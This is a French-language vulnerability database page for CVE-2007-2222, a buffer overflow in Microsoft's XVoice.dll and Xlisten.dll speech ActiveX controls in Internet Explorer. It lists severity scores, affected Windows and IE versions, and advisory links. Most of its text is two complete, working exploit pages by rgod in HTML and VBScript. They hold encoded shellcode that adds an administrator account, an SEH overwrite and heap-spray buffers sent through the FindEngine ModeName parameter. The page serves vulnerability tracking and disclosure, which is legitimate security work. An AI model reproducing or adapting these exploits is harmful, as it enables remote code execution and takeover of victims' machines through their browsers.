CVE-2007-2222 : Détail

CVE-2007-2222

Overflow
96.07%V3
Network
2007-06-12
17h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple buffer overflows in the (1) ActiveListen (Xlisten.dll) and (2) ActiveVoice (Xvoice.dll) speech controls, as used by Microsoft Internet Explorer 5.01, 6, and 7, allow remote attackers to execute arbitrary code via a crafted ActiveX object that triggers memory corruption, as demonstrated via the ModeName parameter to the FindEngine function in ACTIVEVOICEPROJECTLib.DirectSS.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 4065

Date de publication : 2007-06-12 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

<!-- 01/06/2007 23.19.50 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll) / DirectSpeechRecognition Module (Xlisten.dll) remote buffer overflow exploit / 2k sp4 seh version both the dlls are located in %SystemRoot%\speech folder and they are vulnerable to the same issue. while on 2k it depends on activex settings, under xp they are both set to "safe for a trusted caller", i.e. Internet Explorer registers after that some chars are passed to ModeName argument of FindEgine method and seh handler is overwritten: EAX 00000000 ECX 00000000 EDX 02770608 EBX 6535F590 XVoice.6535F590 ESP 0012DBB8 UNICODE "AAAA... EBP 00410041 IEXPLORE.00410041 ESI 001921BC EDI 0012DBF8 UNICODE "AAAA... EIP 00410041 IEXPLORE.00410041 I succesfully run this code on win2k, patching the shellcode with the venetian technique, adding an Administrator account, against IE6. Under xp, with predefined settings, Internet Explorer immediately crashes without warning the user first, and it's still possible running arbitrary code, it depends on jumpable Unicode addresses loaded in memory by A. Micalizzi (aka rgod) site: retrogod.altervista.org ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> targetFile = "C:\WINNT\speech\XVoice.dll" memberName = "FindEngine" progid = "ACTIVEVOICEPROJECTLib.DirectSS" argCount = 28 REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p' scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c") nop1 = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40") c1 = unescape("%6E") : REM add byte ptr esi, ch (as nop) c2 = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi c3 = unescape("%6E%40%6E%05%18%09") : REM add eax c4 = unescape("%6E%40%6E%2d%11%09") : REM sub eax c5 = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice code = nop1 & c1 & c2 & c3 & c4 & c5 & _ unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40") seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment EngineID="default" MfgName="default" ProductName="default" ModeID="default" ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style="default" Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html> # milw0rm.com [2007-06-13]
Exploit Database EDB-ID : 4066

Date de publication : 2007-06-12 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

<!-- 6.30 10/06/2007 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512) / DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512) remote buffer overflow exploit/ xp sp2 version both dlls are vulnerable, this is the poc for the first one worked regardless of boot.ini settings, remotely and by dragging the html file in the browser window tested against IE 6 by A. Micalizzi (aka rgod ) this is dedicated to Sara, and greetings to shinnai, a good comrade ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> REM metasploit, add a user 'su' with pass 'tzu' scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP eax= unescape("%ff%13") ebp= unescape("%ff%13") eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded jnk= string(50,unescape("%13")) suntzu = string(888,"A") + ebp + eip + eax + jnk bufferI = string(9999999,"X") bufferII = string(9999999,"Y") bufferIII = string(9999999,"Z") bufferIV = string(9999999,"O") EngineID= string(200000,"b") MfgName="default" ProductName="default" ModeID= string(199544,unescape("%90")) + scode ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style=1 Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html> # milw0rm.com [2007-06-13]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Internet_explorer >> Version 5.01

Microsoft>>Internet_explorer >> Version 6

Configuraton 0

Microsoft>>Windows_2003_server >> Version sp1

    Microsoft>>Windows_2003_server >> Version sp2

      Microsoft>>Windows_xp >> Version *

        Microsoft>>Windows_xp >> Version *

        Microsoft>>Windows_xp >> Version *

          Microsoft>>Internet_explorer >> Version 6

          Microsoft>>Internet_explorer >> Version 7.0

          Configuraton 0

          Microsoft>>Windows_2003_server >> Version *

          Microsoft>>Windows_2003_server >> Version *

          Microsoft>>Windows_2003_server >> Version sp1

            Microsoft>>Windows_2003_server >> Version sp2

              Microsoft>>Internet_explorer >> Version 6

              Microsoft>>Internet_explorer >> Version 7.0

              Configuraton 0

              Microsoft>>Windows_vista >> Version *

              Microsoft>>Windows_vista >> Version *

                Microsoft>>Internet_explorer >> Version 7.0

                Références

                http://osvdb.org/35353
                Tags : vdb-entry, x_refsource_OSVDB
                http://www.kb.cert.org/vuls/id/507433
                Tags : third-party-advisory, x_refsource_CERT-VN
                http://secunia.com/advisories/25627
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://www.exploit-db.com/exploits/4065
                Tags : exploit, x_refsource_EXPLOIT-DB
                http://www.securityfocus.com/bid/24426
                Tags : vdb-entry, x_refsource_BID
                http://securitytracker.com/id?1018235
                Tags : vdb-entry, x_refsource_SECTRACK
                http://www.vupen.com/english/advisories/2007/2153
                Tags : vdb-entry, x_refsource_VUPEN
                http://www.us-cert.gov/cas/techalerts/TA07-163A.html
                Tags : third-party-advisory, x_refsource_CERT